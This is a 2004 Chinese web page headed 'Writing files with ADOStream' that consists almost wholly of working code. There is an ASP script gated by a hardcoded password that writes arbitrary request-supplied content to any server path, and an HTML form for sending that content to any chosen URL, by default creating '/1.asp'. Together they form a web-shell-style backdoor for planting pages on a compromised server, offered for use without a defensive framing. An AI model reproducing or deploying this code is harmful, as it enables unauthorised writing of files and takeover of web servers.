用ADOStream写文件

upsdn首页 > 系统与网络 > 脚本与网站建设

用ADOStream 写入文件

write.asp

<%
if request("authkey")="pic16f873a" then
  call GetFileContent()
end if

Sub GetFileContent()
Dim TextContent,TargetFile
if request("abs")="1" then
  TargetFile = Server.MapPath(request("path"))
else  
  TargetFile = request("path")
end if
TextContent = request("edittext")
SaveStream TextContent,TargetFile
response.write "<font color=blue>File Write to "&TargetFile&"</font>!"
End Sub

Sub SaveStream(ByVal strBody,ByVal SaveFile)
Dim objStream
On Error Resume Next
Set objStream = Server.CreateObject("ADODB.Stream")
If Err.Number=-2147221005 Then
  Response.Write "not surpport ADODB.Stream"
  Err.Clear
  Response.End
End If

With objStream
  .Type = 2
  .Open
  .Charset = "GBK"
  .Position = objStream.Size
  .WriteText = strBody
  .SaveToFile SaveFile,2
  if Err.Number <> 0 Then
    Response.Write "<font color=Red>Error!</font>Fail to Write "&TargetFile
    Err.Clear
    Response.End
  End if  
  .Close
  End With

  Set objStream = Nothing
End Sub
%>

 

write.html

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
</head>

<body>
<div align=center>
<FORM method=post name=frm target=_blank>
URL :<input type=text name=act size=65 value="http://">
<br>
Path:<input type=text name=path size=65 value="/1.asp">
<br>
ABS :<input type=text name=abs size=65 value="1">
<br>
<textarea name="edittext" cols=80 rows=20>
</textarea>
<br>
<input type=hidden name=authkey value="pic16f873a">
<Input name=Send onclick="Javascipt:frm.action=document.frm.act.value;frm.submit();"
type=button value="Send Command">
</form>
</div>
</body>

</html>

作者:Greg   更新日期:2004-12-23
来源:本站特稿   浏览次数:

相关文章

相关评论   发表评论